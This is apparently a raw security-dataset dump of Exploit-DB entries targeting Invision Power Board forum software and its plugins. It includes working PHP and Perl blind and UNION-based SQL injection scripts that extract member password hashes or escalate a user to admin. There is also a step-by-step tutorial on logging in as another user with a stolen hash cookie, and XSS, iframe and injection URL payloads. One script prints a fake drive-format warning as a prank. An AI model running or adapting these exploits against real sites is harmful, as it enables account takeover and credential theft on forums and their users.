deardaniel/secdata-raw huggingface dataset:
Exploit-DB #1036
Description: Invision Power Board 1.3.1 - 'login.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-06-08
Author: anonymous

Exploit:
<?php
/* 
<= 1.3.1 Final
/str0ke
*/

$server = "SERVER";
$port = 80;
$file = "PATH";

$target = 81;

/* User id and password used to fake-logon are not important. '10' is a
random number. */
$id = 10;
$pass = "";

$hex = "[PII_REDACTED]abcdef";
for($i = 1; $i <= 32; $i++ ) {
        $idx = 0;
        $found = false;

        while( !($found) ) {
                $letter = substr($hex, $idx, 1);

                /* %2527 translates to %27, which gets past magic quotes.
This is translated to ' by urldecode. */
                $cookie =
"member_id=$id;pass_hash=$pass%2527%20OR%20id=$target";
                $cookie .=
"%20HAVING%20id=$target%20AND%20MID(`password`,$i,1)=%2527" . $letter;

                /* Query is in effect: SELECT * FROM ibf_members
                                       WHERE id=$id AND password='$pass' OR
id=$target
                                       HAVING id=$target AND
MID(`password`,$i,1)='$letter' */

                $header = getHeader($server, $port, $file .
"index.php?act=Login&CODE=autologin", $cookie);
                if( !preg_match('/Location:(.*)act\=Login\&CODE\=00\r\n/',
$header) ) {
                        echo $i . ": " . $letter . "\n";
                        $found = true;

                        $hash .= $letter;
                } else {
                        $idx++;
                }
        }
}

echo "\n\nFinal Hash: $hash\n";

function getHeader($server, $port, $file, $cookie) {
        $ip = gethostbyname($server);
        $fp = fsockopen($ip, $port);

        if (!$fp) {
                return "Unknown";
        } else {
                $com = "HEAD $file HTTP/1.1\r\n";
                $com .= "Host: $server:$port\r\n";
                $com .= "Cookie: $cookie\r\n";
                $com .= "Connection: close\r\n";
                $com .= "\r\n";

                fputs($fp, $com);

                do {
                        $header.= fread($fp, 512);
                } while( !preg_match('/\r\n\r\n$/',$header) );
        }

        return $header;
}
?>

// milw0rm.com [2005-06-08]
Exploit-DB #25380
Description: Invision Power Board 1.x - 'ST' SQL Injection
Type: webapps
Platform: php
Date: 2005-04-11
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13097/info

Invision Power Board is reported prone to an SQL injection vulnerability. Due to improper filtering of user-supplied data, attackers may pass SQL statements to the underlying database through the 'st' parameter.

Invision Power Board 1.3.1 and prior versions are affected by this issue. 

http://www.example.com/forums/index.php?act=Members&max_results=30&filter=1&sort_order=asc&sort_key=name&st=SQL_INJECTION
Exploit-DB #25741
Description: Invision Power Board 1.x - Unauthorized Access
Type: webapps
Platform: php
Date: 2005-05-28
Author: V[i]RuS

Exploit:
source: https://www.securityfocus.com/bid/13802/info

Invision Power Board is affected by an unauthorized access vulnerability.

Reportedly, a moderator can edit forum posts owned by other moderators through an HTTP GET request without providing sufficient authentication credentials.

Invision Power Board versions 1.0 to 1.3 Final are reportedly affected by this vulnerability. 

echo off
cls
title Ipb Edit Bug
color a
echo enter url(example:www.example.com):
set /p %url%=
echo enter Folder(example:/forums):
set /p %Folder%=
echo enter Forum id(example:5) you are moderating:
set /p %forumid%=
echo enter topic id(example:103226) you want to edit:
set /p %topicid%=
echo enter p=num(example:760594) id you want to edit:
set /p %pnum%=
echo enter any key to go the edit post page...
pause
start iexplore.exe %url%forumid%/index.php?act=Post&CODE=08&f=%forumid%&t=%topicid%&p=%pnum%
Exploit-DB #25267
Description: Invision Power Board 1.x/2.0 - HTML Injection
Type: webapps
Platform: php
Date: 2005-03-23
Author: Woody Hughes

Exploit:
source: https://www.securityfocus.com/bid/12888/info

Invision Power Board is reported prone to an HTML injection vulnerability. This issue arises due to insufficient sanitization of user-supplied data.

It is reported that due to a lack of filtering of HTML tags, an attacker can inject an IFRAME through an HTTP POST request.

All version of Invision Power Board are considered vulnerable at the moment.

This BID will be updated when more information is available. 

<iframe id="frame1" name="frame1" frameborder=0 width=0 height=0
src="http://www.example.com/forums/index.php?act=Msg&CODE=04&MODE=1&entered_name=Woody&msg_title=hi&Post=I%20love%20you!">
</iframe>
Exploit-DB #24752
Description: Invision Power Board 2.0 - 'index.php' Post Action SQL Injection
Type: webapps
Platform: php
Date: 2004-11-18
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/11703/info

A remote SQL injection vulnerability affects Inivision Power Board. This issue is due to a failure of the application to properly validate user-supplied input prior to using it in an SQL query.

An attacker may leverage this issue to manipulate SQL query strings and potentially carry out arbitrary database queries. This may facilitate the disclosure or corruption of sensitive database information.

http://www.example.com/forum/index.php?act=Post&CODE=02&f=2&t=1&qpid=1[sql_injection]
Exploit-DB #25535
Description: Invision Power Board 2.0.1 - 'QPid' SQL Injection
Type: webapps
Platform: php
Date: 2005-04-26
Author: SVT

Exploit:
source: https://www.securityfocus.com/bid/13375/info

Invision Power Board is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

This issue reportedly affects Invision Power Board version 2.0.1; other versions may also be vulnerable. 

http://www.example.com/forum/index.php?act=PostCODE=02f=4t=3qpid='[SQL]
Exploit-DB #1013
Description: Invision Power Board 2.0.3 - 'login.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-26
Author: Petey Beege

Exploit:
#!/usr/bin/perl -w
##################################################################
# This one actually works :) Just paste the outputted cookie into
# your request header using livehttpheaders or something and you
# will probably be logged in as that user. No need to decrypt it!
# Exploit coded by "Tony Little Lately" and "Petey Beege"
##################################################################

use LWP::UserAgent;

   $ua = new LWP::UserAgent;
   $ua->agent("Mosiac 1.0" . $ua->agent);

if (!$ARGV[0]) {$ARGV[0] = '';}
if (!$ARGV[3]) {$ARGV[3] = '';}

my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';
my $user = $ARGV[1];   # userid to jack
my $iver = $ARGV[2];   # version 1 or 2
my $cpre = $ARGV[3];   # cookie prefix
my $dbug = $ARGV[4];   # debug?

if (!$ARGV[2])
{
        print "The type of the file system is NTFS.\n\n";
        print "WARNING, ALL DATA ON NON-REMOVABLE DISK\n";
        print "DRIVE C: WILL BE LOST!\n";
        print "Proceed with Format (Y/N)?\n";
        exit;
}

my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");

my $outputs = '';

for( $i=1; $i < 33; $i++ )
{
        for( $j=0; $j < 16; $j++ )
        {
                my $current = $charset[$j];
            my $sql = ( $iver < 2 ) ?  "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" :
"99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*";
                my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql);
                my $res = $ua->get($path, @cookie);

                # If we get a valid sql request then this
                # does not appear anywhere in the sources
                $pattern = '<title>(.*)Log In(.*)</title>';

                $_ = $res->content;

                if ($dbug) { print };

                if ( !(/$pattern/) )
                {
                        $outputs .= $current;
                        print "$current\n";
                    last;
                }

        }
  if ( length($outputs) < 1 )   { print "Not Exploitable!\n"; exit;     }
}
print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;
exit;

# milw0rm.com [2005-05-26]
Exploit-DB #1014
Description: Invision Power Board 2.0.3 - 'login.php' SQL Injection (Tutorial)
Type: webapps
Platform: php
Date: 2005-05-27
Author: Danica Jones

Exploit:
# danica jones <danica6699@gmail.com>

Tutorial for the recent exploit released by Petey Beege.

1. Get the exploit from http://www.milw0rm.com/id.php?id=1013 (https://www.exploit-db.com/exploits/1013/)
2. Make sure you have LWP::UserAgent perl module if not do this:
     a. perl -MCPAN -e 'shell'
     b. inside the perl shell, do this 'install LWP::UserAgent'
3. Run the exploit. Get the password hash for the desired login id

ex. inv.pl http://forums.example.com 2 2

Where 2 is the login id and 2 for version 2 of IPB.

4. Open wordpad. Edit Mozilla Firefox's cookie file. Mine is located at

C:\Documents and Settings\the1\Application Data\Mozilla\Firefox\Profiles\vspyhjb9.default\cookies.txt"

Add the following entries:

forums.example.com        FALSE        /        FALSE	[PII_REDACTED]	  member_id        1
forums.example.com        FALSE        /        FALSE	[PII_REDACTED]        pass_hash        ecb735f70028a9cdb819828f4aced78c

Notice the value of member_id and pass_hash taken from the values
generated by the exploit.

5. Fire up Mozilla Firefox and login to http://forums.example.com

Enjoy!


# milw0rm.com [2005-05-27]
Exploit-DB #27818
Description: Invision Power Board 2.0/2.1 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-05-04
Author: almaster

Exploit:
source: https://www.securityfocus.com/bid/17839/info

Invision Power Board is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/forums/index.php?act=reputation&fid=5&pid=|SQL|
Exploit-DB #27736
Description: Invision Power Board 2.0/2.1 - 'index.php?CK' SQL Injection
Type: webapps
Platform: php
Date: 2006-05-25
Author: IceShaman

Exploit:
source: https://www.securityfocus.com/bid/17690/info

Invision Power Board is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/index.php?act=task&ck=&#039;
Exploit-DB #27361
Description: Invision Power Board 2.1.5 - showtopic SQL Injection
Type: webapps
Platform: php
Date: 2006-03-06
Author: Mr.SNAKE

Exploit:
source: https://www.securityfocus.com/bid/16971/info

Invision Power Board is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

NOTE: Further information indicates this issue is not a vulnerability; this BID is being retired.

http://www.example.com/index.php?showtopic=208510&pid=1366158&st=-1[sql]&#entry1366158
Exploit-DB #31541
Description: Invision Power Board 2.x - 'Signature' iFrame Security
Type: webapps
Platform: php
Date: 2008-03-26
Author: SHAHEE_MIRZA

Exploit:
source: https://www.securityfocus.com/bid/28466/info


Invision Power Board (IP.Board) is prone to a security vulnerability that can aid attackers in social-engineering attacks.

Attacker-supplied script code could exploit vulnerabilities in the user's browser or give the user a false sense of security when visiting trusted web pages, which can aid in launching further attacks.

This issue affects IP.Board 2.3.1; other versions may also be affected. 

<html> <head> <title>HACKED BY YOUR-NAME</title> </head> <body> <div id="iFrame1" style="position:absolute; left:0px; top:0px; z- index:0"> <iframe name="iFrame1" width=1024 height=3186 src="http://www.example.com/ YOUR-PATH/YOUR.html" scrolling="no" frameborder="0"></iframe> </div> </body> </html>
Exploit-DB #15515
Description: Invision Power Board 3 - 'search_app' SQL Injection
Type: webapps
Platform: php
Date: 2010-11-13
Author: Lord Tittis3000

Exploit:
# ============================================================
# Exploit Title: Invision Power Board 3 Multiple Vuln
# Date: 13/11/2010# Author: LordTittiS
# Greetings To: God_Of_Pain, System_Overide
# Software Link: http://www.invisionpower.com/
# Vulnerability Type: Full Path Disclosure# Version: 3.x.x (All 3 Version)
# ===========================================================  
-Vulnerability Details:
The vulnerability is in the file search.php, the variable search_app is vulnerable.An attacker can exploit this to find out the rootpath of website or for Blind SQLi attack.

-Google Dork: inurl:index.php?app=core 
-Example:http://server/index.php?app=core&module=search§ion=search&do=quick_search&search_app[]=
Exploit-DB #1492
Description: Invision Power Board Army System Mod 2.1 - SQL Injection
Type: webapps
Platform: php
Date: 2006-02-13
Author: fRoGGz

Exploit:
<?php
/* --------------------------- EXPLOIT ---------------------------
Invision Power Board Army System Mod 2.1 SQL Injection Exploit
Tested on: Latest version (2.1.0)
Discovered on: 06.02.2006 by Alex & fRoGGz
Credits to: SecuBox Labs

PLEASE READ THIS !
The query of the SQL Injection depends about the number of fields in the sql table
We have successfully tested the exploit on a new fresh IPB 2.1.x with Army 
System Mod 2.1 installed

IN NO EVENT SHALL THE OWNER OF THIS CODE OR CONTRIBUTORS BE LIABLE 
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

$target = "http://site.com/forums/"; // <--- Where ?
$prefix = "ibf_"; // <--- SQL prefix ?
$id = 1; // <--- Who ?

print_r(get_infos($target,$prefix,$id));
if(!get_infos($target,$prefix,$id)) echo "failed";

function get_infos($target,$prefix,$id) {

    $inject = "index.php?s=&act=army&userstat=0+UNION+SELECT+id,member_login_key,";
    $inject.= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,";
    $inject.= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,NULL,NULL,";
    $inject.= "NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,";
    $inject.= "NULL+FROM+".$prefix."members+WHERE+id=";

    $filename = $target . $inject . $id;

    $handle = fopen ($filename, "r");
        $infos = array();

        if (feof($handle)) { continue 2; }
        if ( $handle ) {
                while ( ($buffer = fgets( $handle )) )
                {
                        if ( strpos( $buffer, "<td class='pformleft' width=\"35%\">Name</td>") ) {
                                $infos['md5'] = strip_tags ( fgets( $handle) );
                break;
                        }
                }
        }

    fclose ($handle);

        if (count($infos) == 1) return $infos;
        return false;
}
?>

# milw0rm.com [2006-02-13]
Exploit-DB #11702
Description: Invision Power Board Currency Mod 1.3 - 'edit' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-12
Author: Yakir Wizman

Exploit:
# Exploit Title: Invision Power Board Currency Mod(edit) SQL injection
# Date: 17/04/2007
# Author: Pr0T3cT10n
# Software Link: www.invisionpower.com<http://www.invisionpower.com>
# Version: 1.3
# Tested on: 1.3
# CVE:
# Code:
#!/usr/bin/perl
#########################################################################
# Invision Power Board Currency Mod(edit) SQL injection. #
# Bug found by Pr0T3cT10n, pr0t3ct10n@gmail.com<mailto:pr0t3ct10n@gmail.com> #
# The exploit is updating your user to an admin account #
# **YOU SHOULD HAVE CURRENCY EDIT ACCESS!** #
#########################################################################
use IO::Socket;
use Digest::MD5 qw(md5_hex);

$host = $ARGV[0];
$path = $ARGV[1];
$id = $ARGV[2];
$passwd = $ARGV[3];

if(!$ARGV[3])
{
print "#################################################\n";
print "## IPB Currency Mod SQL injection Exploit. ##\n";
print "## Discoverd By Pr0T3cT10n. ##\n";
print "#################################################\n";
print "$0 [host] [path] [your id] [your passowrd]\n";
print "$0 host.com /forum 567 123456\n";
print "#################################################\n";
exit();
}
print "[~] Connecting $host:80...\n";
$socket = IO::Socket::INET->new(
Proto => "tcp" ,
PeerAddr => $host ,
PeerPort => "80") or die("[-] Connection faild.\n");
print "[+] Connected.\n[~] Sending POST information...\n";
$pack.= "POST " . $path . "/index.php?act=modcp&CODE=docurrencyedit&memberid=" . $id . " HTTP/1.1\r\n";
$pack.= "Host: " . $host . "\r\n";
$pack.= "User-Agent: No_Agent\r\n";
$pack.= "Accept: */*\r\n";
$pack.= "Cookie: member_id=" .$id. "; pass_hash=" .md5_hex($passwd). "\r\n";
$pack.= "Keep-Alive: 300\r\n";
$pack.= "Connection: keep-alive\r\n";
$pack.= "Content-Type: application/x-www-form-urlencoded\r\n";
$pack.= "Content-Length: 24\r\n\r\n";
$pack.= "currency=1%20%2Cmgroup=4"; #UPDATE ibf_members SET currency=1 ,mgroup=4 WHERE id='$id'

print $socket $pack;

while($res = <$socket>)
{
if($res =~ /<table align='center' cellpadding="4" class="tablefill">/)
{
print("[+] succeed.\n");
exit();
}
}
print("[-] Faild.\n");
exit();
Exploit-DB #1461
Description: Invision Power Board Dragoran Portal Mod 1.3 - SQL Injection
Type: webapps
Platform: php
Date: 2006-01-31
Author: SkOd

Exploit:
#!/usr/bin/perl
###########################################
#IPB Portal 1.3->Invision Power Board plugin
#Created By SkOd
#SED security Team , http://sed-team.be
###########################################
#google:
#"Portal 1.3 by Dragoran"
###########################################



use IO::Socket;
if (@ARGV < 3){
print q{
############################################################
#      IPB Portal 1.3 SQL injection Get Hash Exploit       #
#          Tested on Invision Power Board 1.3.0		   #
#	    created By SkOd. SED Security Team             #
############################################################
	ipbpro.pl [HOST] [PATH] [Target id]
	  ipbpro.pl www.host.com /forum/ 2 
############################################################
};
exit;
}
$serv = $ARGV[0];
$dir = $ARGV[1];
$id = $ARGV[2];


$serv =~ s/(http:\/\/)//eg;
$path = $dir.'index.php?act=portal&site=-999%20UNION%20SELECT%20substring(password,1,10),substring(password,11,20),substring(password,21,30)%20FROM%20ibf_members%20Where%20id='.$id.'/*';
$path2 = $dir.'index.php?act=portal&site=-999%20UNION%20SELECT%20substring(password,31,32),null,null%20FROM%20ibf_members%20Where%20id='.$id.'/*';
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-]Connect Failed\r\n";

print "[+]Connecting...\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "[+]Connected\n";
print "[+]User ID: $id\n";
print "[+]MD5 Hash: ";
while ($answer = <$socket>)
{
$answer =~ s/40%//eg;
$answer =~ s/30%//eg;
$answer =~ m/valign="top" width="(.*?)"/ && print "$1";
}

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-]Exploit Failed\r\n";
print $socket "GET $path2 HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";

while ($answer = <$socket>)
{
$answer =~ s/40%//eg;
$answer =~ s/30%//eg;
$answer =~ m/valign="top" width="(.*?)"/ && print "$1";
}

# milw0rm.com [2006-01-31]
Exploit-DB #27442
Description: Invision Power Services Invision Board 2.0.4 - Members Action Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-03-17
Author: Mr.SNAKE

Exploit:
source: https://www.securityfocus.com/bid/17144/info
      
Invision Power Board is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
      
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/forum/index.php?act=Members&max_results=10&sort_key=posts&sort_order='><script>alert(document.cookie)</script>
http://www.example.com/forum/index.php?act=Members&max_results='><script>alert(document.cookie)</script>&sort_key=posts&sort_order=desc
http://www.example.com/forum/index.php?act=Members&max_results=10&sort_key='><script>alert(document.cookie)</script>&sort_order=desc&sort_order=desc
Exploit-DB #23867
Description: Invision Power Services Invision Gallery 1.0.1 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2004-03-23
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/9944/info

It has been reported that Invision Gallery may be prone to multiple sql injection vulnerabilities, allowing an attacker to influence SQL query logic. The issues exist due to insufficient sanitization of user-supplied data via the 'img', 'cat', 'sort_key', 'order_key', 'user' and 'album' parameters of the gallery module accessed via the 'index.php' script.

Invision Gallery is a gallery system that can be used as a plugin for Invision Power Board. Invision Gallery 1.0.1 is reported to be prone to these issues, however, other versions could be affected as well.

index.php?act=module&module=gallery&cmd=si&img=[SQL]
index.php?act=module&module=gallery&cmd=editimg&img=[SQL]
index.php?act=module&module=gallery&cmd=ecard&img=[SQL]
index.php?act=module&module=gallery&cmd=moveimg&img=[SQL]
index.php?act=module&module=gallery&cmd=delimg&img=[SQL]
index.php?act=module&module=gallery&cmd=post&cat=[SQL]
index.php?act=module&module=gallery&cmd=sc&op=user&sort_key=[SQL]
index.php?act=module&module=gallery&cmd=sc&op=user&sort_key=date&order_key=[SQL]
index.php?act=module&module=gallery&cmd=favs&op=add&img=[SQL]
index.php?act=module&module=gallery&cmd=slideshow&cat=[SQL]
index.php?act=module&module=gallery&cmd=user&user=[SQL]&op=view_album&album=1
index.php?act=module&module=gallery&cmd=user&user=[SQL]
index.php?act=module&module=gallery&cmd=user&user=1&op=view_album&album=[SQL]